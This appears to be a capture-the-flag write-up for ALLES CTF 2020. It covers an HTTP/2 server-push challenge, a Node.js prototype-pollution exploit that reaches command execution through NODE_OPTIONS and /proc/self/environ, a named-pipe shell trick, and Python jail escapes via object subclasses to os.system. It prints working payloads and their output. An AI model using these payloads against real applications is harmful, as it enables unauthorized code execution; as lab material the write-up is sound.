Tags: web named-pipes prototype-pollution 

Rating: 4.3

# ALLES CTF 2020


#### Challenges


## Push


Upon opening the challenge link, there is nothing much to see:


At first, i couldn't figure out what's going on, but when i `curl`'ed it,
there is something interesting


The server is using HTTP/2, which is very unusual.

Now it's clear, refering back to the challenge's title.
The server is obviously using `HTTP Server Push`

Basically, Server push allows sites to send assets to the user before the user asks for it, so when we request /index.html,
the server can request others ressources, in our case, the FLAG.

<h4> So how do we get the flag ?</h4>

Most nowadays tools and proxies like Burp doesn't support HTTP/2,
that's why no matter what proxy you use, you can't see the hidden

The way i solved it is by using Chrome Net Export tool


We start Logging, refresh the challenge page, then stop logging.
a file will be generated, and that's it

A file will be generated, it contains all the requests done during the logging, let's search for the flag:



**FLAG:** `ALLES{http2_push_dashdash_force}`

## OnlyFreights


Check out my OnlyFreights! A website to classify all the freight ships.

NOTE: There is a secret cargo stored at /flag.txt,

but you need to convince the /guard executable to hand it to you!

Challenge Files: only-freights.zip


### PART1: Getting an RCE

First thing i did, was to check the site ... nothing interesting,
then i started reading the code. it's a Node/Express.Js app,
with 3 Routes:



With the second route, we can Add/Edit objects.
And the third route, apparenlty it's just spawning a child process
and executing the `ps` command.

With some googling, we find out it's a `Javascript Prototype Pollution` attack, that can lead us to an RCE if we combine it with the last Route.

First things first, what is a Prototype Pollution ?

Javascript allows ALL Object attributes to be modified, including the magic attributes like `constructor`, `prototype`, and `__proto__`. And because all objects in JS inherits from `Object`, any change in the prototype of `Object` will automatically apply to
all future created objects.

Let's have some examples:


`guest` doesn't have an `isAdmin` property, So when we pollute the prototype by adding a new property, and then if we try to access `isAdmin` which is not present in `guest` it will automatically look up to the base object which NOW has the `isAdmin` set to `true`

Here is another example, this time by changing the toString() method:


Basically, `Prototype Pollution` helps the attacker to manipulate attributes, by overwriting, or polluting, a JavaScript object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain.

Okay so how will this help us get an RCE ?

Changing some attributes is great, but in this case it's not really helpful.

We need to find what attributes we can pollute to trigger
a command execution when spawning a child process.

The answer is: `ENVIRONMENT variables`

But why ?

When reading the [official documentation](https://nodejs.org/api/child_process.html) of child processes in Nodejs.
We can see that when we spawn a new process, we can specify certain options, and guess what ? they have DEFAULT valeus:


The ones that interrest us the most are `env` and `shell`, focus with me:

if `env` is not defined, `process.env` will be used, so if we pollute the `protoype` with some `env` variables, it will use the ones we defined and not `process.env`

and if `shell` is not defined, `/bin/sh` will be used, but that's not what we want, we need to pollute it with `node` as a value, because we want to execute Javascript code.

What are the env variables we need to inject ?

This is a tricky part, it turns out, the `node` cli allows to use the env variable named `NODE_OPTIONS`, it allows to specify certain options for the `node` command. such as `--eval` and `--require`, but sadly `--eval` is not allowed within `NODE_OPTIONS`, probably to prevent this exact attack :3
You can check the full list of options [here](https://nodejs.org/api/cli.html)

We are left with `--require`, it will include and execute an external JS file .... Hmmm, but what can we include ?

Why not create an env variable with a Node.JS code, and use `--require` to include `/proc/self/environ`


Note: this is why we have to set `shell` to `node`, otherwise, `NODE_OPTIONS` will just be ignored.

Let's try it:

Pollute `shell`


Pollute `env`




And with a Shell execution:




We have a pretty good Command Execution.

What's next ?

We're finished with PART1
Yeah, yeah, and this is the easiest part,
the hardest is yet to come.

### PART 2: Reading the flag

It's not as simple as executing `/guard`,
if you take a look at the source code, to get the flag
we have to execute `/guard` and interact with it, we have
to give the correct answer for the sum of two random numbers:


The first thought of course is to get a reverse shell, and directly interract with
the binary, but it's not possible, at least i couldn't, and it is not the intended solution anyway.

The easiest solution is to use python with subprocess module, but sadly `python` is
not installed on the server. so the only left solution is to use pure `sh` with `named pipes`.

The steps are as follows:

1. create two pipes: `pin` and `pout`, one for `stdin` and one of `stdout`
2. run `/guard` in the background and redirect its `stdin` and `stdout` to the two pipes created
3. read the two random numbers from `pout`
4. Calculate the sum, and send it to `pin`
5. read the response from `pout` which should be the flag.

mkfifo /tmp/pout /tmp/pin 2> /dev/null
exec 3<> /tmp/pout
exec 4<> /tmp/pin
./guard > /tmp/pout < /tmp/pin &
read -t 1 out <&3
# ${out%?} to remove last letter; and $((${out%?})) to eval the sum
echo $((${out%?})) > /tmp/pin
read -t 1 out <&3
echo $out

I tried this locally, it worked and showed me the fake flag. but running this on the server didn't work, i couldn't understand, I struggled a lot with this step, changed script little, nothing worked.

I almost gave up on this challenge, but then i wanted to give it another shot, i decided to start over, with the same steps as above BUT this time, i waned a One-line script that does all of the above steps.

I came up with:

mkfifo /tmp/pipe

cat /tmp/pipe | /guard | (read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)


Because of the pipes, the command will be executed from right to left, so first:
`(read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)` is executed.
the command `read` takes input from stdin and store in `$out`, and in this
case `stdin` is the outpout of `/guard` i.e the two random numbers, then the sum is
calculated, and the result is stored in `/tmp/pipe`.
after that, `/guard` will take input from `stdin` which is passed from the `/tmp/pipe` which now contains the result of the sum.

Guess what ?
Even this code works only locally, not on the server :3
But this time it shows `Wrong!`.
At Least that's an improvement, we get to see an output Lool

After some debugging, i found out that somehow `read` is not taking the output of `./guard`.
I still don't know why.
So i had to change `read` with something equivalent.
I thought let's try reading directly from `/dev/stdin`

cat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)

**Note:** I'm using `head -c 24` to take exactly the amount of characters i need, without the `=` symbol

Let's try this time:


"aaaa":"console.log(require('child_process').execSync('cat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)').toString());//",
"NODE_OPTIONS":"--require /proc/self/environ"


**Flag:** `ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}`

# Pyjail_ATricks


Run the secret function you must! Hrrmmm. A flag maybe you will get.


After connecting to the server, we quickly notices lot of chars are filtered

So i typed all of printable chars to get the blacklisted and whitelisted chars:

>>> a = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>[email protected][\]^_`{|}~

From this we extract the white listed chars:


First i wanted to print `__builtins__` but `b` and `u` are blacklisted, so i replaced `b` with `eval.__doc__[37+9+1]` and `u` with `eval.__doc__[3+1]`

>>> a = eval("print(__"+eval.__doc__[37+9+1]+eval.__doc__[3+1]+"iltins__.__dict__)")
{'repr': <built-in function repr>, 'str': <class 'str'>, 'print':
<built-in function print>, 'eval': <built-in function eval>,
'input': <built-in function input>, 'any': <built-in function
any>, 'exec': <built-in function exec>, 'all': <built-in function
all>, 'Exception': <class 'Exception'>}

I quickly noticed that `input` is allowed, let's use it:

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))
No flag for you!

Probably it expects an argument.
So Let's inspect the function ALLES

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))
(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))

there is a non printable constant, and a probably a function called `string_xor` we can try to xor `p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N` with `ALLES{`

>>> from pwn import xor
>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','ALLES{')
b'133713A\x08\x1eB\x10)\x14 \x06B\x17\x17\x13)N\x0b'
>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','1337')

**FLAG:** `ALLES{3sc4ped_y0u_aR3}`

# Pyjail_Escape


Python leave you must, to be master real!


Because of the previous challenge we know

we can use `input` to execute pretty much anything and bypass the blacklisted chars

Let's print all subclasses()

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,
<class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>,
<class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>,
<class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>,
<class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>,
<class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>,
<class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>,
<class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>,
<class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>,
<class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>,
<class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>,<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>,
<class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>,
<class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>,
<class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>,
<class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>,
<class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>,
<class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>,
<class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>,
<class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>,
<class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

We need `os._wrap_close` to execute `system` function

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))
"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("ls -la")
total 40
drwxr-xr-x. 2 root root 131 Sep 3 18:27 .
drwxr-xr-x. 3 root root 17 Jul 22 18:42 ..
-rw-r--r--. 1 root root 220 Apr 4 2018 .bash_logout
-rw-r--r--. 1 root root 3771 Apr 4 2018 .bashrc
-rw-r--r--. 1 root root 807 Apr 4 2018 .profile
-rw-r--r--. 1 root root 29 Aug 29 15:20 LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt
-rwxr-xr-x. 1 root root 1328 Sep 3 18:27 pyjail.py
-rwxr-xr-x. 1 root root 18744 Jul 22 18:50 ynetd

Let's read `LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt`:

>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))
"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("cat LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt")

**Flag:** `ALLES{th1s_w4s_a_r34l_3sc4pe}`

As simple as that x)

Original writeup (https://github.com/0x13A0F/CTF_Writeups/tree/master/alles_ctf).